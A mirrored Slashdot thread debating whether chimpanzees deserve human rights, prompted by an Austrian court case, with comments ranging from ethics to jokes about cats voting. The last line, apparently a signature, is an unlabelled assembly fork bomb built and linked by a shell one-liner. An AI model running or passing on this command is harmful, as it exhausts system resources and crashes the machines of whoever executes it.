Slashdot Mirror
Should Chimps Have Human Rights?
An anonymous reader writes "A Brazilian court has already issued a writ of habeas corpus in the name of a chimp. And now an Austrian court may well decide that a chimpanzee is a 'person' with what up until now have been called human rights." From the story in the Guardian/Observer: "He recognizes himself in the mirror, plays hide-and-seek and breaks into fits of giggles when tickled. He is also our closest evolutionary cousin. A group of world leading primatologists argue that this is proof enough that Hiasl, a 26-year-old chimpanzee, deserves to be treated like a human. In a test case in Austria, campaigners are seeking to ditch the 'species barrier' and have taken Hiasl's case to court. If Hiasl is granted human status — and the rights that go with it — it will signal a victory for other primate species and unleash a wave of similar cases."
See also: Great Apes Project
No. Just no.
Animal cruelty is one thing, but writs for Chimps? Seriously now...
hoo! hurr! grr! huuuh! hoooh! hoo!
Not long ago certain former "leader of the free world" took away its citizens' habeas-corpus provision. Every MINUTE a person (in the up-until-now traditional sense) dies of malnutrition or trivially treatable diseases. I'm all for the ethical treatment of animals but we do have more pressing problems.
+Raider of the lost BBS
By that standard, shouldn't people, say, in vegitative states or with extreme cases of metal retardation be legally not human, and therefore eligible for the hot dog machine?
On Penn & Teller's Bullshiat, a show with many many many subtle flaws despite it's many many many good parts, they once had a little bit in the PeTA piece about how if animals have rights, then therefore they should have responsibilities. When I first heard this I thought at first that this was just a bit of flat humor, but then it occurred to me that this was actually a very powerful argument. Fine - if the primate deserves equal protection under law, then he should get equal treatment under law as far as paying taxes, sending his offspring to school, not assaulting people by climbing on them, being hygenic, etc.
If we go by similarity to humans - we are apes. African apes, to be specific. That means that chimps are closer relatives to us than say orangutans are to chimps.
The intermediate stages from the common ancestor to the human and chimp branches are extinct, but that's just a coincidence, something that could have been the other way around. Looking at it that way the ethical questions become more difficult. When you can't define clear groups, the in-group/out-group ethics becomes difficult to rationalize.
Rather than an ethics based on questionable categories we need one based on functions - especially cognitive capabilities relating to suffering. When it comes to chimpanzees an the other great apes, the answer is very clear - we do need to give them rights. They may not understand it themselves, but neither do human children and we offer them rights and protection. Apes are a trivial problem - it becomes more difficult when you distance yourself further. What about cats, mice or even insects or one-celled organisms?
Come to think of it, you have a point there, my cat certainly deserves citizenship.
After all, the fuzzy things managed to tame humans, so it kinda says something about where they are in a sorted list by IQ. Plus, you've seen how they're attracted to books you're reading, or to your keyboard. They're natural nerds, I tell you
Second, but probably more important, giving cats a right to vote can't _possibly_ make it any worse. When was the last time you saw a cat torturing another cat for fun, or to scare the other cats into submission? When was the last time you saw a cat go to war? For that matter, when was the last time you saw a cat kill another?
I mean, sure, they fight, but with the natural weapons they have they'd be perfectly capable of taking each other apart if they wanted to. The species however has clear rules of engagement and of signalling "I surrender" or "I'm not a threat, don't attack me". Plus, most of the fights you get to see are either (A) actually playing/training, or (B) because humans force them into situations where the normal conflict resolution mechanisms don't work. E.g., bringing another cat on the territory of another without all the "rituals" (so to speak) normally associated with joining another group, and without the possibility to just go away.
Plus, they have built in mechanisms to avoid needing a war in the first place. Most felines release a number of eggs based on how well fed the mother is. So if the cat can barely feed itself, it will at most give birth to one kitten or two. If it's doing perfectly well, it will do its part for population growth. So it's hard to end up in a situation where they'd need to start a war for resources.
So I have to wonder how much worse it could possibly be if the cats could vote on issues like the stupid war in Iraq. My take is that it couldn't be any worse than letting humans do it.
A polar bear is a cartesian bear after a coordinate transform.
There are quite a few faulty assumptions regarding human rights and whether animals should have them:
first, there seems to be a confusion between what it means to be a human being as opposed to animal (as a general rule), and what makes humans valuable. It is not because humans can laugh, think, etc. that they are valuable. Else, as soon as you are sedated, you'd stop being human because you wouldn't have those characteristics anymore. Humans are intrinsically valuable (their rights come from natural law), and an animal can never be biologically human.
Second, it is always quite dangerous to start defining what you 'need' to be a human being. Think about slavery, most genocides,etc. What happened is that some people decided to use arbitrarily defined criteria to strip people from their human status. Who says the criteria animal rights activists use are correct?
Third, why do they believe that chimps should have the same rights as humans. It is as logical to say that human beings should have the same rights chimps enjoy presently (i.e. none). The very idea of human rights is based on the premise that there is something intrinsically valuable in human beings, regardless of their mental capacities or physical abilities.
We still share over 60% of our DNA with that banana the chimp is eating. Percentage of DNA should never be used as a benchmark for what is and is not human.
Don't thank God, thank a doctor!
> Animals deserve rights when they can specifically ask for them. The moment a chimp makes a sign on its own asking for equal treatment, I say we give it to them. Until then, it's monkey brains for dinner...
Exactly! And the same applies to human babies. I say human rights starts at age 2. It certainly shuts up those anti-abortionists.
Now I have no idea what I would like for dinner, but I'm not that fond of monkeys. They smell of bananas. I'll just look around the house an see if I can find something tasty.
I'll probably be modded down for this...
Log scale. you move up two orders of magnitude of humanity from 90 to 97%
Which implies that a banana only has 1/112th of a soul.
My personal view is that rights are not granted unless there is a reciprocal responsibility. This is because a right has no meaning without some sort of context. What the article describes is actually not a 'right' for animals like chimps, it's more a restriction on human activity so should just be called that. There is nothing that will keep chimps from recognizing the 'rights' of other chimps, and I think that is the key here: Not the ability to request rights, but the ability to recognize rights. (Now there are cases where handicapped members of a species may not be able to do this, but that doesn't mean the rights don't apply; what I mean is that, as a class, a species must have the capability.)
If it can be shown that other animals have the capacity to understand, recognize, and uphold rights, then I'd be willing to accept granting them rights. Same goes for artificial intelligence: rights should only be granted when the entity receiving the rights is able to recognize the rights of others. So far as I've been able to observe, only humans have the concept of 'rights'. In the greater animal kingdom it's all about dominance and hereditary hierarchies, not 'rights'.
"There are a dozen opinions on a matter until you know the truth. Then there is only one." - CS Lewis (paraprhase)
I'd suggest whilst the full range of 'human' rights would not fully be apropriate for monkeys, as they cant cope with the responsibilitys or understand them (although arming chimps WOULD be hilarious at a distance) , we can certainly derive a subset of rights they should be able to expect (the right to life, the right not to be tortured, the right for a human advocate to sue on their behalf for loss of rights, etc) based on the facts at hand.
Chimps are chimps. They don't want to be people, they want to be chimps. The only right we need to grant them is the right to be chimps in peace. It has nothing to do with their capability, that's a red herring. They're chimps. Highly intelligent, self-aware, sentient if you ask me (but don't ask me to define it), and also not human. They're chimps. Anthropomorphizing them and asking if they should be considered "people", or comparing them to disabled humans, is to violate their right to be chimps.
So as far as I'm concerned, it's very clear. We shouldn't be performing medical experiments or capturing or hunting chimps or destroying their habitat (more), but that's it. That's all they need. We just need to start respecting the other life forms on this planet, not dressing them up in suits and expecting them to be people. They won't be, don't want to be, and are just fine as they are.
The enemies of Democracy are
I'm against animal cruelty, but I've heard some damning things about Peta. Watch the Penn and Teller bullshit episode on them for example, and do some of your own research.
Peta have links to the ALF for example, and the ALF have come close to killing humans involved in animal research. They gave over $100,000 in non repayable loans to Rod Coronado who firebombed laboratories for example. Ingrid Newkirk, President of Peta was has been accused of having prior knowledge of ALF actions. She was also quoted as saying "no movement for social change has ever succeeded without 'the militarism component'". Note militarism, not militant.
Seems to me you're better off joining the RSPCA / ASPCA which are against both animal cruelty and the terrorists of the ALF.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;